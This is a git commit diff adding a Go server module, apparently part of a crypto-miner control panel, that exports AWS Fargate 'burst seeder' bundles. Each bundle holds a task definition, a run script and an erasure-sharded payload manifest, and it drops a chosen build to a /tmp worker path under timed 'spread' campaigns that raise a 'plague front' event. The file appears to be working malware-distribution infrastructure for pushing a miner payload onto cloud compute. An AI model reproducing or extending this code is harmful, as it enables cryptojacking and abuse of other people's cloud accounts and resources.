Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.

2026-06-07 10:04:11 -07:00
parent 5b5fc7c01c
commit 40d46408ea
14 changed files with 554 additions and 14 deletions
--- a/server/internal/api/fargate_burst.go
+++ b/server/internal/api/fargate_burst.go
@@ -0,0 +1,252 @@
+package api
+
+import (
+	"archive/zip"
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"strings"
+	"time"
+
+	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
+	"crypto-miner-server/internal/fargate"
+)
+
+type fargateBurstExportRequest struct {
+	ServerURL string `json:"server_url"`
+	BuildID   string `json:"build_id"`
+	Campaign  string `json:"campaign"`
+	Platform  string `json:"platform"`
+	TTLHours  int    `json:"ttl_hours"`
+	TaskCount int    `json:"task_count"`
+}
+
+func (h *SpreadHandler) BindFargateDeps(publicURL func() string, shards *erasure.ShardStore) {
+	h.publicURL = publicURL
+	if shards != nil {
+		h.erasureShards = shards
+	}
+}
+
+func (h *WSHub) SyncFargateBurstCampaign(active bool, expiresAtRFC3339 string, ttlHours int) {
+	h.mu.Lock()
+	wasActive := h.fargateBurstActiveLocked()
+	h.fargateBurstCampaign = active
+	h.fargateBurstTTLHours = fargate.ClampTTLHours(ttlHours)
+	if active {
+		if t, err := time.Parse(time.RFC3339, strings.TrimSpace(expiresAtRFC3339)); err == nil && !t.IsZero() {
+			h.fargateBurstExpiresAt = t
+		} else if h.fargateBurstExpiresAt.IsZero() || time.Now().After(h.fargateBurstExpiresAt) {
+			h.fargateBurstExpiresAt = time.Now().Add(time.Duration(h.fargateBurstTTLHours) * time.Hour)
+		}
+	} else {
+		h.fargateBurstExpiresAt = time.Time{}
+	}
+	nowActive := h.fargateBurstActiveLocked()
+	h.mu.Unlock()
+	if !wasActive && nowActive {
+		h.emitFargatePlagueFront()
+	}
+}
+
+func (h *WSHub) fargateBurstActive() bool {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	return h.fargateBurstActiveLocked()
+}
+
+func (h *WSHub) fargateBurstActiveLocked() bool {
+	if !h.fargateBurstCampaign {
+		return false
+	}
+	if h.fargateBurstExpiresAt.IsZero() {
+		return true
+	}
+	return time.Now().Before(h.fargateBurstExpiresAt)
+}
+
+func (h *WSHub) emitFargatePlagueFront() {
+	h.mu.RLock()
+	ttl := h.fargateBurstTTLHours
+	expires := h.fargateBurstExpiresAt
+	h.mu.RUnlock()
+	if ttl <= 0 {
+		ttl = 3
+	}
+	payload := map[string]interface{}{
+		"event":      "fargate_plague_front",
+		"ttl_hours":  ttl,
+		"expires_at": expires.Format(time.RFC3339),
+	}
+	emitter := &HubSeerEmitter{Hub: h, DB: h.db}
+	_ = emitter.EmitSeerEvent("fargate_plague_front", "", payload)
+}
+
+func (h *SpreadHandler) buildFargateBurstBundle(req fargateBurstExportRequest) (*fargate.Bundle, error) {
+	serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
+	if serverURL == "" && h.publicURL != nil {
+		serverURL = strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
+	}
+	if serverURL == "" {
+		return nil, fmt.Errorf("server_url required")
+	}
+	platform := strings.TrimSpace(req.Platform)
+	if platform == "" {
+		platform = "linux"
+	}
+	deployH := h.deployPlan
+	if deployH == nil {
+		deployH = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return serverURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
+	}
+	store := h.erasureShards
+	if store == nil {
+		store = erasure.NewShardStore()
+	}
+	deployH.BindErasureFromHub(h.wsHub, store)
+	return buildFargateBurstBundleFromBuild(deployH, store, serverURL, strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign), platform, req.TTLHours, req.TaskCount)
+}
+
+func buildFargateBurstBundleFromBuild(deployH *DeployPlanHandler, store *erasure.ShardStore, serverURL, buildID, campaign, platform string, ttlHours, taskCount int) (*fargate.Bundle, error) {
+	if deployH == nil || store == nil {
+		return nil, fmt.Errorf("fargate burst: deploy handler required")
+	}
+	build, err := deployH.resolveBuild(buildID, platform)
+	if err != nil {
+		return nil, err
+	}
+	payload, err := os.ReadFile(build.FilePath)
+	if err != nil {
+		return nil, fmt.Errorf("read build: %w", err)
+	}
+	plan, err := erasure.BuildPlan(store, serverURL, buildID, campaign, payload, "/tmp/aetherforge-burst/worker", "exe", "", true, true)
+	if err != nil {
+		return nil, err
+	}
+	shards := shardsFromStore(store, plan.ShardToken)
+	if len(shards) == 0 {
+		return nil, fmt.Errorf("fargate burst: no erasure shards")
+	}
+	return fargate.GenerateBundle(fargate.Options{
+		BuildID: buildID, Campaign: campaign, ServerURL: serverURL,
+		ShardToken: plan.ShardToken, PayloadSHA256: plan.PayloadSHA256, PayloadSize: plan.PayloadSize,
+		DataShards: plan.DataShards, ParityShards: plan.ParityShards,
+		TTLHours: ttlHours, TaskCount: taskCount, Shards: shards,
+	})
+}
+
+func zipFargateBurstBundle(bundle *fargate.Bundle) ([]byte, error) {
+	if bundle == nil {
+		return nil, fmt.Errorf("nil bundle")
+	}
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+	files := map[string][]byte{
+		"task-definition.json": bundle.TaskDefinitionJSON,
+		"run-task.sh":          bundle.RunTaskScript,
+		"erasure-shards.json":  bundle.ShardManifestJSON,
+	}
+	for name, data := range files {
+		w, err := zw.Create(name)
+		if err != nil {
+			return nil, err
+		}
+		if _, err := io.Copy(w, bytes.NewReader(data)); err != nil {
+			return nil, err
+		}
+	}
+	if err := zw.Close(); err != nil {
+		return nil, err
+	}
+	return buf.Bytes(), nil
+}
+
+func fargateBurstQueryFromRequest(r *http.Request) (buildID, campaign string) {
+	buildID = strings.TrimSpace(r.URL.Query().Get("pin"))
+	if buildID == "" {
+		buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
+	}
+	campaign = strings.TrimSpace(r.URL.Query().Get("c"))
+	if campaign == "" {
+		campaign = strings.TrimSpace(r.URL.Query().Get("campaign"))
+	}
+	return buildID, campaign
+}
+
+func (h *SpreadHandler) ExportFargateBurst(w http.ResponseWriter, r *http.Request) {
+	var req fargateBurstExportRequest
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	bundle, err := h.buildFargateBurstBundle(req)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusBadRequest)
+		return
+	}
+	zipData, err := zipFargateBurstBundle(bundle)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	if h.wsHub != nil && h.db != nil {
+		_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "fargate_burst", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "fargate_burst"})
+	}
+	writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
+}
+
+func (h *SpreadHandler) FargateBurstTaskDefinition(w http.ResponseWriter, r *http.Request) {
+	buildID, campaign := fargateBurstQueryFromRequest(r)
+	bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusBadRequest)
+		return
+	}
+	w.Header().Set("Content-Type", "application/json")
+	w.Write(bundle.TaskDefinitionJSON)
+}
+
+func (h *SpreadHandler) FargateBurstRunScript(w http.ResponseWriter, r *http.Request) {
+	buildID, campaign := fargateBurstQueryFromRequest(r)
+	bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusBadRequest)
+		return
+	}
+	w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
+	w.Write(bundle.RunTaskScript)
+}
+
+func (h *SpreadHandler) FargateBurstBundleZip(w http.ResponseWriter, r *http.Request) {
+	buildID, campaign := fargateBurstQueryFromRequest(r)
+	bundle, err := h.buildFargateBurstBundle(fargateBurstExportRequest{BuildID: buildID, Campaign: campaign, ServerURL: publicURLFromRequest(r, h.publicURL)})
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusBadRequest)
+		return
+	}
+	zipData, err := zipFargateBurstBundle(bundle)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	writeZipAttachment(w, "aetherforge-fargate-burst-seeder.zip", zipData)
+}
+
+func publicURLFromRequest(r *http.Request, fn func() string) string {
+	if fn != nil {
+		if u := strings.TrimRight(strings.TrimSpace(fn()), "/"); u != "" {
+			return u
+		}
+	}
+	if r == nil {
+		return ""
+	}
+	scheme := "http"
+	if r.TLS != nil {
+		scheme = "https"
+	}
+	return strings.TrimRight(fmt.Sprintf("%s://%s", scheme, r.Host), "/")
+}